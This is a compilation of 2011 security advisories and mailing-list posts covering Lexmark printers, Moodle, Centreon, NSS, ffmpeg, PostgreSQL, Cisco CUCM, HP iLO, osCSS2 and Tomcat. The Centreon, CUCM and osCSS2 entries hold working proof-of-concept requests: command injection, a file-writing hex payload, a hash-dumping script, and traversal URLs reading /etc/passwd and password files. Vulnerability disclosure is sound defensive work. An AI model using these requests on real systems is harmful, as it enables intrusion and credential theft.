foofus.net security advisory - Lexmark Multifunction Printer Information Leakage
Foofus.net Security Advisory: foofus-2007 Title: Lexmark Multifunction Printer Information exposure Version:X656de Vendor: Lexmark Release Date: 08/05/2011 1. Summary: Lexmark multifunction printer device found to be vulnerable to an information leakage vulnerability. 2. Description: Passwords can be extracted in plan text from the settings export file. http://hostname-IP_Address/cgi-bin/exportfile/printer/config/secure/settingfile.ucf 3. Impact: Exploiting this allows an adversary to extract passwords that can be used to gain access to other critical systems. 4. Affected Products: Lexmark X656de multifunction printer (Kernel=FPR.APS.F184-0, Base=LR.MN.P224a-0) Other Lexmark and Dell branded Multifunction printers may also be vulnerable 5. Solution: Insure that a complex password is set on printer. 6) Time Table: 08/05/2011 Vulnerability Disclosed. 11/07/2011 Publishes Advisory 7) Credits: Discovered by Deral Heiland PercX 8. Reference: http://www.foofus.net/?page_id=483 http://www.foofus.net http://praeda.foofus.net The Foofus.Net team is an assortment of security professionals located through out the United States. http://www.foofus.net Follow percX on Twitter @Percent_X
[SECURITY] [DSA 2338-1] moodle security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2338-1 secur...@debian.org http://www.debian.org/security/Moritz Muehlenhoff November 07, 2011 http://www.debian.org/security/faq - - Package: moodle Vulnerability : several Problem type : remote Debian-specific: no CVE ID : not yet available Several cross-site scripting and information disclosure issues have been fixed in Moodle, a course management system for online learning: * MSA-11-0020 Continue links in error messages can lead offsite * MSA-11-0024 Recaptcha images were being authenticated from an older server * MSA-11-0025 Group names in user upload CSV not escaped * MSA-11-0026 Fields in user upload CSV not escaped * MSA-11-0031 Forms API constant issue * MSA-11-0032 MNET SSL validation issue * MSA-11-0036 Messaging refresh vulnerability * MSA-11-0037 Course section editing injection vulnerability * MSA-11-0038 Database injection protection strengthened For the stable distribution (squeeze), this problem has been fixed in version 1.9.9.dfsg2-2.1+squeeze2. For the unstable distribution (sid), this problem has been fixed in version 1.9.9.dfsg2-4. We recommend that you upgrade your moodle packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) iEYEARECAAYFAk64EswACgkQXm3vHE4uylqZjQCg4xG5p108miVitHbsEiagUhvQ KJ0AniojypPOT9jDQ+ICyBa5+AoCI1xk =adle -END PGP SIGNATURE-
TWSL2011-017: Multiple Vulnerabilities in Merethis Centreon
Trustwave's SpiderLabs Security Advisory TWSL2011-017: Multiple Vulnerabilities in Merethis Centreon https://www.trustwave.com/spiderlabs/advisories/TWSL2011-017.txt Published: 2011-11-04 Version: 1.0 Vendor: Merethis (http://www.merethis.com and http://www.centreon.com) Product: Centreon Version affected: 2.3.1 and prior Product description: Centreon is network supervision and monitoring tool that is based upon the Nagios open source monitoring engine. Centreon can be used as a Nagios GUI and it can provide such features as real time system monitoring, performance management and system management. Credit: Christophe De La Fuente of Trustwave SpiderLabs Finding 1: Remote Command Execution Centreon supervision and monitoring tool provided by Merethis permits remote code execution from the command help web page allowing an attacker to execute arbitrary commands in the context of the webserver hosting the application. Any account that has been granted the access to Configuration Nagios Checks is able to execute commands. The following Proof of Concept (PoC) executes the command 'cat /etc/passwd': http://example.domain/centreon/main.php?p=60706command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23o=hmin=1 Finding 2: One-Way Hash Without a Salt The following code at lines 329-349 from www/include/configuration/nconfigObject/contact/DB-Func.php shows the insertContactInDB() function inserting the MD5 or SHA1 password hash in the database without using a salt: $rq = INSERT INTO `contact` ( . `contact_id` , `timeperiod_tp_id` , `timeperiod_tp_id2` , `contact_name` , . `contact_alias` , `contact_autologin_key` , `contact_passwd` , `contact_lang` , `contact_template_id`, . `contact_host_notification_options` , `contact_service_notification_options` , . `contact_email` , `contact_pager` , `contact_comment` , `contact_oreon`, `contact_register`, `contact_enable_notifications` , . `contact_admin` , `contact_type_msg`, `contact_activate`, `contact_auth_type`, . `contact_ldap_dn`, `contact_location`, `contact_address1`, `contact_address2`, . `contact_address3`, `contact_address4`, `contact_address5`, `contact_address6`) . VALUES ( ; $rq .= NULL, ; isset($ret[timeperiod_tp_id]) $ret[timeperiod_tp_id] != NULL ? $rq .= '.$ret[timeperiod_tp_id].', : $rq .= NULL, ; isset($ret[timeperiod_tp_id2]) $ret[timeperiod_tp_id2] != NULL ? $rq .= '.$ret[timeperiod_tp_id2].', : $rq .= NULL, ; isset($ret[contact_name]) $ret[contact_name] != NULL ? $rq .= '.htmlentities($ret[contact_name], ENT_QUOTES, UTF-8).', : $rq .= NULL, ;---isset($ret[contact_alias]) $ret[contact_alias] != NULL ? $rq .= '.htmlentities($ret[contact_alias], ENT_QUOTES, UTF-8).', : $rq .= NULL, ; isset($ret[contact_autologin_key]) $ret[contact_autologin_key] != NULL ? $rq .= '.htmlentities($ret[contact_autologin_key], ENT_QUOTES).', : $rq .= NULL, ; if ($encryptType == 1) isset($ret[contact_passwd]) $ret[contact_passwd] != NULL ? $rq .= '.md5($ret[contact_passwd]).', : $rq .= NULL, ; else if ($encryptType == 2) isset($ret[contact_passwd]) $ret[contact_passwd] != NULL ? $rq .= '.sha1($ret[contact_passwd]).', : $rq .= NULL, ; else isset($ret[contact_passwd]) $ret[contact_passwd] != NULL ? $rq .= '.md5($ret[contact_passwd]).', : $rq .= NULL, ; The combination of unsalted hashes and Finding 1 allows an attacker to recover passwords for all accounts. The following example illustrates this attack. The following php code will dump the hashes of all users: ?php require_once (/etc/centreon/centreon.conf.php); require_once $classdir/centreonDB.class.php; $p=new CentreonDB(); $r=$p-query(SELECT contact_passwd from centreon.contact); while ($w=$r-fetchRow()) {echo $w[contact_passwd] . br;} ? To upload and execute this code on the server, one method is to convert the above php code to hexadecimal and use the remote code execution method outlined in Finding 1 to create a server-side php file. The length of the URL accepted in this case is limited, so the file must be broken into three parts. The following requests create the php file test.php: http://example.domain/centreon/main.php?p=60706command_name=/Centreon/SNMP/../../../../usr/bin/printf%20\\x3c\\x3f\\x70\\x68\\x70\\x20\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x5f\\x6f\\x6e\\x63\\x65\\x20\\x28\\x22\\x2f\\x65\\x74\\x63\\x2f\\x63\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x2f\\x63\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x2e\\x63\\x6f\\x6e\\x66\\x2e\\x70\\x68\\x70\\x22\\x29\\x3b\\x20\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x5f\\x6f\\x6e\\x63\\x65\\x20\\x22\\x24\\x63\\x6c\\x61\\x73\\x73\\x64\\x69\\x72\\x2f\\x63\\x65\\x6e\\x74%20|tee%20-a%20test.php%20%23o=hmin=1
[SECURITY] [DSA 2339-1] nss security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2339-1 secur...@debian.org http://www.debian.org/security/Moritz Muehlenhoff November 07, 2011 http://www.debian.org/security/faq - - Package: nss Vulnerability : several Problem type : remote Debian-specific: no CVE ID : CVE-2011-3640 Debian Bug : 647614 This update to the NSS cryptographic libraries revokes the trust in the DigiCert Sdn. Bhd certificate authority. More information can be found in the Mozilla Security Blog: http://blog.mozilla.com/security/2011/11/03/revoking-trust-in-digicert-sdn-bhd-intermediate-certificate-authority/ This update also fixes an insecure load path for pkcs11.txt configuration file (CVE-2011-3640). For the oldstable distribution (lenny), this problem has been fixed in version 3.12.3.1-0lenny7. For the stable distribution (squeeze), this problem has been fixed in version 3.12.8-1+squeeze4. For the unstable distribution (sid), this problem has been fixed in version 3.13.1.with.ckbi.1.88-1. We recommend that you upgrade your nss packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) iEYEARECAAYFAk64GOwACgkQXm3vHE4uylpazgCfWDzuPwY7JE2ILLXNA65me0lZ a1QAniNhl5cbaq/dPtuo1ueLOPf0UbWs =y684 -END PGP SIGNATURE-
[SECURITY] [DSA 2336-1] ffmpeg security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2336-1 secur...@debian.org http://www.debian.org/security/ Yves-Alexis Perez November 07, 2011 http://www.debian.org/security/faq - - Package: ffmpeg Vulnerability : several Problem type : remote Debian-specific: no CVE ID : CVE-2011-3362 CVE-2011-3973 CVE-2011-3974 CVE-2011-3504 Debian Bug : 641478 Multiple vulnerabilities were found in the ffmpeg, a multimedia player, server and encoder: CVE-2011-3362 An integer signedness error in decode_residual_block function of the Chinese AVS video (CAVS) decoder in libavcodec can lead to denial of service (memory corruption and application crash) or possible code execution via a crafted CAVS file. CVE-2011-3973/CVE-2011-3974 Multiple errors in the Chinese AVS video (CAVS) decoder can lead to denial of service (memory corruption and application crash) via an invalid bitstream. CVE-2011-3504 A memory allocation problem in the Matroska format decoder can lead to code execution via a crafted file. For the stable distribution (squeeze), this problem has been fixed in version 4:0.5.5-1. For the unstable distribution (sid), this problem has been fixed in version 4:0.7.2-1 of the libav source package. Security support for ffmpeg has been discontinued for the oldstable distribution (lenny) before in DSA 2306. The current version in oldstable is not supported by upstream anymore and is affected by several security issues. Backporting fixes for these and any future issues has become unfeasible and therefore we needed to drop our security support for the version in oldstable. We recommend that you upgrade your ffmpeg packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) iEYEARECAAYFAk64LoAACgkQXm3vHE4uylp5JQCgrx+SilXzFZxZ+hwHIQqUfd6d klwAoLFQFIUCtJ1HIDafZoJyj1QmZebU =Or5C -END PGP SIGNATURE-
[SECURITY] [DSA 2340-1] postgresql security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2340-1 secur...@debian.org http://www.debian.org/security/ Thijs Kinkhorst November 7, 2011 http://www.debian.org/security/faq - - Package: postgresql-8.3, postgresql-8.4, postgresql-9.0 Vulnerability : weak password hashing Problem type : remote Debian-specific: no CVE ID : CVE-2011-2483 Debian Bug : 631285 magnum discovered that the blowfish password hashing used amongst others in PostgreSQL contained a weakness that would give passwords with 8 bit characters the same hash as weaker equivalents. For the oldstable distribution (lenny), this problem has been fixed in postgresql-8.3 version 8.3.16-0lenny1. For the stable distribution (squeeze), this problem has been fixed in postgresql-8.4 version 8.4.9-0squeeze1. For the testing distribution (wheezy) and unstable distribution (sid), this problem has been fixed in postgresql-8.4 version 8.4.9-1, postgresql-9.0 9.0.5-1 and postgresql-9.1 9.1~rc1-1. The updates also include reliability improvements, originally scheduled for inclusion into the next point release; for details see the respective changelogs. We recommend that you upgrade your postgresql packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) iQEcBAEBAgAGBQJOuDYOAAoJEOxfUAG2iX57DZgH/0c0P9FnbU6qMrsixC612FgA A0V76Qcl/jboFzi8QOlj7fesaJ2bMtxCCY7aRTl9C3vW1j0BK5gKbZMsyJvVXic7 /AXCwpeib+inOqnl/HvSrTYJMOb2i0Hi24Tfx5M5Rhsl465oY7eaF6fW5Fyw9Nd/ kKCg+5BFIqoMmVWh+wTl2Jr62INwwcQz6SiTfPo0aNCcuKqbWRBwdJP0KbdcpxK8 8igs+hdETwWja0B0EzH3n6eJYY06vzN3zP2WqufQm8jDVa4f2PMHDNUvt3ENLglv ja7i7tII3nJvGw7ui+8LXva1BBDUHqEVnLmxlbPZzTfe/tJdegltQNpFKe4Mchc= =PClG -END PGP SIGNATURE-
Cisco CUCM - Multiple Vulnerabilities
Recurity Labs GmbH http://www.recurity-labs.com entomol...@recurity-labs.com Date: 08.11.2011 Vendor: Cisco Systems Product:CUCM Environment Cisco Unified Communications Manager (CallManager) Cisco IP Phone CP-7975G Vulnerability: Directory Traversal Reversible Obfuscation Algorithm SCCP service security issues CTFTP Information Leaks Voice VLAN Separation Activated Late Affected Releases: 7.0, 8.0(2) Severity: HIGH Vendor communication: 25.05.2010Initial notification to PSIRT 25.05.2010PSIRT acknowledges the report 25.05.2010Various acknowledgements from Cisco, some issues are apparently already know. 28.05.2010PSIRT still works on evaluations. 17.06.2010PSIRT updates on the issues reported 03.02.2011Requesting update from PSIRT 04.02.2011Response that the case handler has left PSIRT 28.03.2011A personal meeting during BlackHat Europe had effects, new case handler reports the directory traversal issue being fixed. 11.10.2011Checking back with PSIRT and providing draft advisory 11.10.2011Latest status updates on two issues and agreement on 2011-10-26 coordinated release 26.10.2011Cisco releases cisco-sa-20111026-cucm 08.11.2011Release Overview: Product is Unified Communications solutions from Cisco Systems. From the Web Site: Cisco Unified Communications Manager is an enterprise-class IP communications processing system for up to 40,000 users, extensible to 80,000 users by way of a megacluster. There is a remotely exploitable directory traversal vulnerability in CUCM that allows attackers to read internal files available to the Tomcat user. By design, this user has access to various sensitive files. Therefore this vulnerability can be abused to lead to a full system compromise of the CUCM system. The vulnerability can be triggered before authentication. Other vulnerabilities and issues are documented within this advisory as well. Description: Directory Traversal: The directory traversal vulnerability can be triggered from the following location: http://[cucm]:8080/ccmivr/IVRGetAudioFile.do?file=[filename] Reversible Obfuscation Algorithm: The file platformConfig.xml is used to store various configuration parameters which are used by the CUCM system. This includes network configuration as well as encrypted passwords. The passwords are encrypted using keys that are hardcoded within the system. SCCP service security issues When one sends a RegisterMessage SCCP message with a malformed DeviceName containing a single quote, it appears that one can inject SQL commands. Additionally, while handling the malformed DeviceName, when certain characters are processed by the ODBC driver, the driver crashes on a memcpy(). CTFTP Information Leaks: The CTFTP service is a custom HTTP server that listens on port 6970. The following hardcoded paths can be used to disclose information about the CUCM configuration: - TFTP file list /ConfigFileCacheList.txt including phone configuration filename (which may contain passwords) - Other interesting locations /BinFileCacheList.txt, /FileList.txt, /PerfMon.txt, /ParamList.txt, /lddefault.cfg Voice VLAN Separation Activated Late: The Cisco phones have a port for connecting the PC that should not pass voice VLAN tagged packets. When the phone is properly configured it will only pass the correct packets to the PC port. It was however observed that during boot, an attacker has a time window of roughly 10 seconds where they can make receive and send voice VLAN tagged packets. This means that during that time, an attacker can gain access to the Voice VLAN without making any physical network changes (i.e. No need to disconnect the phone). Note that this has been tested on CP-7975G with an SCCP firmware Examples: Typical example is to read /etc/passwd: http://[cucm]:8080/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd In this case we can read more useful files such as platformConfig.xml which contains obfuscated administrative passwords: http://[cucm]:8080/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml Attackers can then login to the administrative Web interface by using
IPv6 security (slides and training)
Folks, We have uploaded the slides of my IPv6 Security presentation at H2HC 2011 http://www.h2hc.com.br/?lang=en. -- The slides are available at: http://www.si6networks.com/presentations/h2hc2011/fgont-h2hc2011-ipv6-security.pdf. That aside, on November 15-16 I'll be teaching a two-day IPv6 security training at the DEEPSEC 2011 conference in Vienna (http://www.deepsec.net). Please check out the details at: http://www.deepsec.net/speaker.html#WSLOT40. P.S.: More information about the contents and objetive of this training is available at http://www.hackingipv6networks.com/trainings/hacking-ipv6-networks. Thanks! Best regards, -- Fernando Gont SI6 Networks e-mail: fg...@si6networks.com PGP Fingerprint: 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492
New online security challenge - GotWurzel
Hi list, We are proud to present a new free hacking challenge for you! It's all about getting root on a linux host! It's another step after the great success of the GotRoot security puzzle. SSH into our vulnerable server and disclose /root/secret.txt. Increase your knowledge about restricted environments and bypassing them; enjoy this free event! Interested? Please sign-up a Hacking-Lab account and register yourself (free) to the Hacking Challenge classroom. * https://www.hacking-lab.com/events/ Direct registration URL * https://www.hacking-lab.com/events/registerform.html?eventid=199 Other Challenges * There are other challenges available in the same classroom * Web Security challenges and more .. Regards Ivan Buetler / E1 Compass Security, Switzerland
[security bulletin] HPSBHF02706 SSRT100613 rev.1 - HP Integrated Lights-Out iLO2 and iLO3 running SSL/TLS, Denial of Service (DoS), Unauthorized Modification
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c03024266 Version: 1 HPSBHF02706 SSRT100613 rev.1 - HP Integrated Lights-Out iLO2 and iLO3 running SSL/TLS, Denial of Service (DoS), Unauthorized Modification NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2011-11-07 Last Updated: 2011-11-07 Potential Security Impact: Denial of Service (DoS), unauthorized modification Source: Hewlett-Packard Company, HP Software Security Response Team VULNERABILITY SUMMARY Potential security vulnerabilities have been identified with HP Integrated Lights-Out iLO2 and iLO3 running SSL/TLS. The vulnerabilities could be remotely exploited to create a Denial of Service (DoS) or unauthorized modification. References: SSRT100378, CVE-2008-7270, CVE-2009-3555, CVE-2010-4180 SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HP Integrated Lights-Out 2 (iLO2) firmware versions 2.05 and earlier. HP Integrated Lights-Out 3 (iLO3) firmware versions 1.16 and earlier. BACKGROUND CVSS 2.0 Base Metrics === Reference Base Vector Base Score CVE-2008-7270(AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 CVE-2009-3555(AV:N/AC:M/Au:N/C:N/I:P/A:P) 5.8 CVE-2010-4180(AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 === Information on CVSS is documented in HP Customer Notice: HPSN-2008-002 RESOLUTION HP has made the following Firmware updates available to resolve the vulnerabilities. The latest firmware and installation instructions are available from the HP Business Support Center: http://www.hp.com/go/bizsupport HP Integrated Lights-Out 2 (iLO2) Online ROM Flash Component for Linux and Windows v2.06 or subsequent. HP Integrated Lights-Out 3 (iLO3) Online ROM Flash Component for Linux and Windows v1.20 or subsequent. HISTORY Version:1 (rev.1) 7 November 2011 Initial release Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. Support: For further information, contact normal HP Services support channel. Report: To report a potential security vulnerability with any HP supported product, send Email to: security-al...@hp.com Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins Security Bulletin List: A list of HP Security Bulletins, updated periodically, is contained in HP Security Notice HPSN-2011-001: https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c02964430 Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://h20566.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/ Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB. 3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX Copyright 2011 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided as is without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) iEYEARECAAYFAk64UUUACgkQ4B86/C0qfVlMcACg3nTRwdiCWk/HbuGzDRtxtQZp upkAn0OCBQzG3vl+t6v1U/vkCiY8JhOe =Hjdo -END PGP SIGNATURE-
osCSS2 _ID parameter Local file inclusion
Advisory: osCSS2 _ID parameter Local file inclusion Advisory ID:SSCHADV2011-034 Author: Stefan Schurtz Affected Software: Successfully tested on osCSS2 2.1.0 (latest version) Vendor URL: http://oscss.org/ Vendor Status: Fixed in svn branche 2.1.0 and reported in develop version 2.1.1 == Vulnerability Description == osCSS2 2.1.0 _ID parameter is prone to a LFI vulnerability == Vulnerable code == //.htaccess RewriteRule ^shopping_cart.php(.{0,})$ content.php?_ID=shopping_cart.php%{QUERY_STRING} //content.php require($page-path_gabarit()); // includes/classes/page.php public function pile_file_lang($path_file){ global $lang; if(substr($path_file,0,strlen(DIR_FS_CATALOG)) !=DIR_FS_CATALOG) $path_file= DIR_FS_CATALOG.$path_file; if(!in_array($path_file,(array)$this-PileFileLang)) include_once($path_file); } == PoC-Exploit == http://target/catalog/shopping_cart.php?_ID=../../../../../../../../../../../etc/passwd http://target/catalog/content.php?_ID=../../../../../../../../../../../etc/passwd = Solution = Fixed in svn branche 2.1.0 and reported in develop version 2.1.1 Disclosure Timeline 08-Nov-2011 - informed vendor 08-Nov-2011 - release date of this security advisory 08-Nov-2011 - fixed by vendor Credits Vulnerability found and advisory written by Stefan Schurtz. === References === http://oscss.org/ http://forums.oscss.org/2-security/oscss2-id-parameter-local-file-inclusion-t1999.html http://dev.oscss.org/task/892 http://www.rul3z.de/advisories/SSCHADV2011-034.txt
[SECURITY] CVE-2011-3376 Apache Tomcat - Privilege Escalation via Manager app
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CVE-2011-3376 Apache Tomcat - Privilege Escalation via Manager app Severity: Low Vendor: The Apache Software Foundation Versions Affected: - - Tomcat 7.0.0 to 7.0.21 Description: This issue only affects environments running web applications that are not trusted (e.g. shared hosting environments). The Servlets that implement the functionality of the Manager application that ships with Apache Tomcat should only be available to Contexts (web applications) that are marked as privileged. However, this check was not being made. This allowed an untrusted web application to use the functionality of the Manager application. This could be used to obtain information on running web applications as well as deploying additional web applications. Mitigation: Users of Tomcat 7.0.x should upgrade to 7.0.22 or later Credit: This issue was identified by Ate Douma References: http://tomcat.apache.org/security.html http://tomcat.apache.org/security-7.html -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQIcBAEBAgAGBQJOuWxPAAoJEBDAHFovYFnng3oP/jkYsplqxz9hjWi6uztQK3Gv BlS1IlbyqW5HW8rqr/pyfLWDDiJZUc+FmWRbyT96r/V4z0w4oGglGi289owLr1Lx bsGlauWQhZh7k5nWKboMVEk6CjGOXVQ9zMJJwhEkrXn6/HNV5O65F/0nnLoHgStM DNyKKpYDtc6XCI7+Pcutv3fqkk9niF3KSF3rePKlpUstVbuLx9HlX+0fbj7+X4w/ PyE5R9tVfr3Toiwn546QQR73VkOSmAGt0IEE9P06oY50ruW3/Z6wJjVHrlJUsoQ3 txupoC+FCZ5ph8DfoeVzav6Y3W9dImXz6rzxm3YnUKCDZuWnGVNzDE4IUyKdRM5t W/Smquaat8VxsxMbU34bSJHYA1m2nos4qPrQvJl2w0wKWrPFRnu4f8RImvg1BIPH gZ17raqPjdoBuE3H4ivgF0DSasVdYM/Ge977B+6nD9jzwE6FEFAFCCRpbYvD/6SA //QbqSlcULb6CKZ6D/rNbLSQ3e0QD6GYaz3HjJcCtJkqo2FoLGY88AxtoF4es5SB thYJf7r51J9W8g7nvw+b7Y0+eG3IczsBA0spIoyzIKr1RxSEFE2220idPdotpjAf aticEwF9U5przWmwNab7lKUd91bo32ZVtvIprPGL/NfHrL3KC891gjYqkQtrcJC5 SkiQ74ix/uGZTB6HHCWm =wak3 -END PGP SIGNATURE-